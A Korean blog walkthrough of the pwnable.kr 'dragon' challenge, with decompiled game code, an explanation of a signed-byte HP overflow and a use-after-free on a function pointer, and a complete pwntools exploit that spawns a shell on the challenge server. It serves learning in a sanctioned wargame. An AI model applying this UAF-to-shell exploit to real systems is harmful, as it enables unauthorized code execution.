본문 바로가기
시스템 해킹/pwnable.kr

[Pwnable.kr] dragon

by L3m0n S0ju 2021. 8. 13.


int __cdecl PriestAttack(int a1, void *ptr)
{
  int v2; // eax

  do
  {
    (*(void (__cdecl **)(void *))ptr)(ptr);
    (*(void (__cdecl **)(int))(a1 + 12))(a1);
    v2 = GetChoice();
    switch ( v2 )
    {
      case 2:
        puts("Clarity! Your Mana Has Been Refreshed");
        *(_DWORD *)(a1 + 8) = 50;
        printf("But The Dragon Deals %d Damage To You!\n", *((_DWORD *)ptr + 3));
        *(_DWORD *)(a1 + 4) -= *((_DWORD *)ptr + 3);
        printf("And The Dragon Heals %d HP!\n", *((char *)ptr + 9));
        *((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
        goto LABEL_11;
      case 3:
        if ( *(int *)(a1 + 8) > 24 )
        {
          puts("HolyShield! You Are Temporarily Invincible...");
          printf("But The Dragon Heals %d HP!\n", *((char *)ptr + 9));
          *((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
          *(_DWORD *)(a1 + 8) -= 25;
          goto LABEL_11;
        }
        break;
      case 1:
        if ( *(int *)(a1 + 8) > 9 )
        {
          printf("Holy Bolt Deals %d Damage To The Dragon!\n", 20);
          *((_BYTE *)ptr + 8) -= 20;
          *(_DWORD *)(a1 + 8) -= 10;
          printf("But The Dragon Deals %d Damage To You!\n", *((_DWORD *)ptr + 3));
          *(_DWORD *)(a1 + 4) -= *((_DWORD *)ptr + 3);
          printf("And The Dragon Heals %d HP!\n", *((char *)ptr + 9));
          *((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
          goto LABEL_11;
        }
        break;
      default:
        goto LABEL_11;
    }
    puts("Not Enough MP!");
LABEL_11:
    if ( *(int *)(a1 + 4) <= 0 )
    {
      free(ptr);
      return 0;
    }
  }
  while ( *((char *)ptr + 8) > 0 );
  free(ptr);
  return 1;
}

 

int __cdecl KnightAttack(int a1, void *ptr)
{
  int v2; // eax

  do
  {
    (*(void (__cdecl **)(void *))ptr)(ptr);
    (*(void (__cdecl **)(int))(a1 + 12))(a1);
    v2 = GetChoice();
    if ( v2 == 1 )
    {
      printf("Crash Deals %d Damage To The Dragon!\n", 20);
      *((_BYTE *)ptr + 8) -= 20;
      printf("But The Dragon Deals %d Damage To You!\n", *((_DWORD *)ptr + 3));
      *(_DWORD *)(a1 + 4) -= *((_DWORD *)ptr + 3);
      printf("And The Dragon Heals %d HP!\n", *((char *)ptr + 9));
      *((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
    }
    else if ( v2 == 2 )
    {
      printf("Frenzy Deals %d Damage To The Dragon!\n", 40);
      *((_BYTE *)ptr + 8) -= 40;
      puts("But You Also Lose 20 HP...");
      *(_DWORD *)(a1 + 4) -= 20;
      printf("And The Dragon Deals %d Damage To You!\n", *((_DWORD *)ptr + 3));
      *(_DWORD *)(a1 + 4) -= *((_DWORD *)ptr + 3);
      printf("Plus The Dragon Heals %d HP!\n", *((char *)ptr + 9));
      *((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
    }
    if ( *(int *)(a1 + 4) <= 0 )
    {
      free(ptr);
      return 0;
    }
  }
  while ( *((char *)ptr + 8) > 0 );
  free(ptr);
  return 1;
}

 

void __cdecl FightDragon(int a1)
{
  char v1; // al
  int v2; // [esp+10h] [ebp-18h]
  _DWORD *ptr; // [esp+14h] [ebp-14h]
  _DWORD *v4; // [esp+18h] [ebp-10h]
  void *v5; // [esp+1Ch] [ebp-Ch]

  ptr = malloc(0x10u);
  v4 = malloc(0x10u);
  v1 = Count++;
  if ( (v1 & 1) != 0 )
  {
    v4[1] = 1;
    *((_BYTE *)v4 + 8) = 80;
    *((_BYTE *)v4 + 9) = 4;
    v4[3] = 10;
    *v4 = PrintMonsterInfo;
    puts("Mama Dragon Has Appeared!");
  }
  else
  {
    v4[1] = 0;
    *((_BYTE *)v4 + 8) = 50;
    *((_BYTE *)v4 + 9) = 5;
    v4[3] = 30;
    *v4 = PrintMonsterInfo;
    puts("Baby Dragon Has Appeared!");
  }
  if ( a1 == 1 )
  {
    *ptr = 1;
    ptr[1] = 42;
    ptr[2] = 50;
    ptr[3] = PrintPlayerInfo;
    v2 = PriestAttack((int)ptr, v4);
  }
  else
  {
    if ( a1 != 2 )
      return;
    *ptr = 2;
    ptr[1] = 50;
    ptr[2] = 0;
    ptr[3] = PrintPlayerInfo;
    v2 = KnightAttack((int)ptr, v4);
  }
  if ( v2 )
  {
    puts("Well Done Hero! You Killed The Dragon!");
    puts("The World Will Remember You As:");
    v5 = malloc(0x10u);
    __isoc99_scanf("%16s", v5);
    puts("And The Dragon You Have Defeated Was Called:");
    ((void (__cdecl *)(_DWORD *))*v4)(v4);
  }
  else
  {
    puts("\nYou Have Been Defeated!");
  }
  free(ptr);
}

 

unsigned int SecretLevel()
{
  char s1[10]; // [esp+12h] [ebp-16h] BYREF
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Welcome to Secret Level!\nInput Password : ");
  __isoc99_scanf("%10s", s1);
  if ( strcmp(s1, "Nice_Try_But_The_Dragons_Won't_Let_You!") )
  {
    puts("Wrong!\n");
    exit(-1);
  }
  system("/bin/sh");
  return __readgsdword(0x14u) ^ v2;
}

 

int PlayGame()
{
  int result; // eax

  while ( 1 )
  {
    while ( 1 )
    {
      puts("Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight");
      result = GetChoice();
      if ( result != 1 && result != 2 )
        break;
      FightDragon(result);
    }
    if ( result != 3 )
      break;
    SecretLevel();
  }
  return result;
}

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts("Welcome to Dragon Hunter!");
  PlayGame();
  return 0;
}

 


위 코드는 IDA로 분석한 dragon 파일입니다. 코드가 길어서 분석하는데 어려움이 있지만 천천히 보다보면 조금씩 이해가 됩니다. 문제 서버에 접근하면 아래와 같이 dragon 파일이 실행됩니다. 가장 의심스로운 함수 SecretLevel()은 처음에 캐릭터를 고를때 3을 입력하면 SecretLevel에 접근할 수 있지만 패스워드를 요구합니다.

 

 

 

 

 

 

 


unsigned int SecretLevel()
{
  char s1[10]; 
  unsigned int v2; 
  v2 = __readgsdword(0x14u);
  printf("Welcome to Secret Level!\nInput Password : ");
  __isoc99_scanf("%10s", s1);
  if ( strcmp(s1, "Nice_Try_But_The_Dragons_Won't_Let_You!") )
  {
    puts("Wrong!\n");
    exit(-1);
  }
  system("/bin/sh");
  return __readgsdword(0x14u) ^ v2;
}

 

SecretLevel() 함수를 보면 __readgsdword(0x14u);가 사용되는데 해당 함수는 카나리를 설정하는데 사용되는 함수라고 합니다. 크기가 10인 s1에 문자열을 입력받고 "Nice_Try_But_The_Dragons_Won't_Let_You!"와 비교하여 같으면 system("/bin/sh"); 함수가 실행됩니다. 하지만 아무리 찾아봐도 오버플로우 할 수 있는 공간은 없고 카나리까지 우회한다는 것은 거의 불가능에 가깝습니다. 따라서 다른 곳에서 취약점을 찾아내야합니다.

 

 

 

 


FightDragon 함수를 살펴보겠습니다. 마지막 부분에 v2가 참이면 드래곤을 물리쳤다는 문구를 출력하고 v5에 문자열을 입력받고 v4라는 함수를 출력합니다. 

  if ( v2 )
  {
    puts("Well Done Hero! You Killed The Dragon!");
    puts("The World Will Remember You As:");
    v5 = malloc(0x10u);
    __isoc99_scanf("%16s", v5);
    puts("And The Dragon You Have Defeated Was Called:");
    ((void (__cdecl *)(_DWORD *))*v4)(v4);
  }

 

 

 

 


수상하게 생긴 v4를 따라가다보면 PriestAttack((int)ptr, v4); KnightAttack((int)ptr, v4); 같은 함수의 두번째 인자에 들어가는 변수입니다. PriestAttack 함수 안으로 들어가면 v4 변수는 ptr로 이름이 변경되고 마지막에 free(ptr)을 통해 메모리에 반환이 됩니다. 그렇다면 이미 메모리에 반환된 변수를 함수로 실행한다는 것은 uaf(use after free) 취약점을 의미합니다. 함수를 실행하기 전에 v5에 0x10 크기의 공간을 할당하는데 이전에 반환된 v4 크기와 같으므로 v4가 사용하던 공간을 다시 v5에 할당하므로 v5에 원하는 주소값을 입력하면 해당 주소값으로 이동하여 명령어를 실행합니다. 주소값은 SecretLevel()함수에 있는 system("/bin/sh"); 주소를 입력하면 됩니다.

 

LABEL_11:
    if ( *(int *)(a1 + 4) <= 0 )
    {
      free(ptr);
      return 0;
    }
  }
  while ( *((char *)ptr + 8) > 0 );
  free(ptr);
  return 1;
}

 

 

 

 

 

 

 

 


_DWORD *v4;

 

if ( (v1 & 1) != 0 )
  {
    v4[1] = 1;
    *((_BYTE *)v4 + 8) = 80;
    *((_BYTE *)v4 + 9) = 4;
    v4[3] = 10;
    *v4 = PrintMonsterInfo;
    puts("Mama Dragon Has Appeared!");
  }
  else
  {
    v4[1] = 0;
    *((_BYTE *)v4 + 8) = 50;
    *((_BYTE *)v4 + 9) = 5;
    v4[3] = 30;
    *v4 = PrintMonsterInfo;
    puts("Baby Dragon Has Appeared!");
  }

 

문제점은 uaf 취약점을 사용하기 위해서는 우선 드래곤을 이겨야합니다. 드래곤과 싸울 때는 무언가 입력할 기회조차 없으므로 이미 내장된 기능들을 이용해서 드래곤을 물리쳐야합니다. FightDragon 함수를 다시 살펴보면 v4에 드래곤의 구조체가 담겨있다. v4는 _DWORD 형으로 4바이트 크기이므로 int형 또는 unsigned int 형이다. 하지만 체력과 힐 능력을 _BYTE 단위로 저장하는데 _BYTE는 char형 또는 unsigned char형이다. 따라서 엄마 드래곤의 v4 구조는 아래와 같다.

 

 0  1  2  3  4  5  6  7    8   9  10 11 12 13 14 15

|   |   |   |      1      |   | 80 | 4 |   |    |      10       |

 

여기서 주목할 점은 체력이 1바이트 크기로 char 형이라면 127보다 커지면 음수가 되므로 PriestAttack, KnightAttack 함수에서 do while 문을 벗어나서 1을 반환하게 되고 v2에 저장됩니다. v2가 1이면 이전에 설명한대로 v5에 원하는 주소를 입력할 수 있습니다.

 

 

 

 

 

 


system("/bin/sh");의 주소값은 0x08048dbf입니다.

 

 

 

 

 

익스플로잇 코드


from pwn import*
 
p = remote("pwnable.kr", 9004)
context.log_level='debug'

system=0x08048dbf

p.recvuntil("Knight\n") # 첫판에는 아기 드래곤이 나오는데 이길 수 없으므로 져준다.
p.sendline("2")
p.recvuntil("Lose 20 HP.\n")
p.sendline("1")
p.recvuntil("Lose 20 HP.\n")
p.sendline("1")

p.recvuntil("Knight\n") # 두번째 판에는 엄마 드래곤이 나오는데 한턴이 지날때마다 체력 4씩 회복하므로 12턴이 지나면 127 범위를 넘어서 음수가 된다.
p.sendline("1") // 힐러 선택

 

p.recvuntil("Invincible.\n")
p.sendline("3")
p.recvuntil("Invincible.\n")
p.sendline("3")
p.recvuntil("Invincible.\n")
p.sendline("2")

p.recvuntil("Invincible.\n")
p.sendline("3") 
p.recvuntil("Invincible.\n")
p.sendline("3")
p.recvuntil("Invincible.\n")
p.sendline("2")

p.recvuntil("Invincible.\n")
p.sendline("3")
p.recvuntil("Invincible.\n")
p.sendline("3")
p.recvuntil("Invincible.\n")
p.sendline("2")

p.recvuntil("Invincible.\n")
p.sendline("3")
p.recvuntil("Invincible.\n")
p.sendline("3")
p.recvuntil("Invincible.\n")
p.sendline("2")

p.recvuntil("Remember You As:\n")
p.sendline(p32(system))
p.interactive()

 

 

 

 

 

 


플래그

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] brain fuck  (0) 2021.08.21
[Pwnable.kr] loveletter  (0) 2021.08.13
[Pwnable.kr] echo1  (0) 2021.08.08
[Pwnable.kr] fsb  (0) 2021.08.07
[Pwnable.kr] tiny_easy  (0) 2021.08.04

댓글